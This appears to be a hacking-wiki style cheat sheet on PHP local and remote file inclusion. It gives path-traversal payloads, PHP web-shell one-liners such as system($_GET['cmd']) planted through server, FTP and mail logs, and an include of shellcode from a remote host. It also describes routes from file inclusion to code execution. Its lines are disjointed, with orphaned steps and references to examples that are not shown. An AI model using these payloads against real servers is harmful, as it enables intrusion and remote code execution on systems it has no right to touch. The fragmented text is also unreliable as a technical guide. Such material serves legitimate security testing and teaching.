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**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow\_url\_include**).\
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Depending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files. In order to do so:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
* if the application is vulnerable, there might be two different outcomes to the request:
* if you get an error / no output, the `private` folder does not exist at this location
* if you get the content from `/etc/passwd`, you validated that there is indeed a `private`folder in your current directory
* the folder(s) you discovered using this techniques can then be fuzzed for files (using a classic LFI method) or for subdirectories using the same technique recursively.
It is possible to adapt this technique to find directories at any location in the file system. For instance, if, under the same hypothesis (current directory at depth 3 of the file system) you want to check if `/var/www/` contains a `private` directory, use the following payload:
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
*`convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
If the LFI is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.
This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
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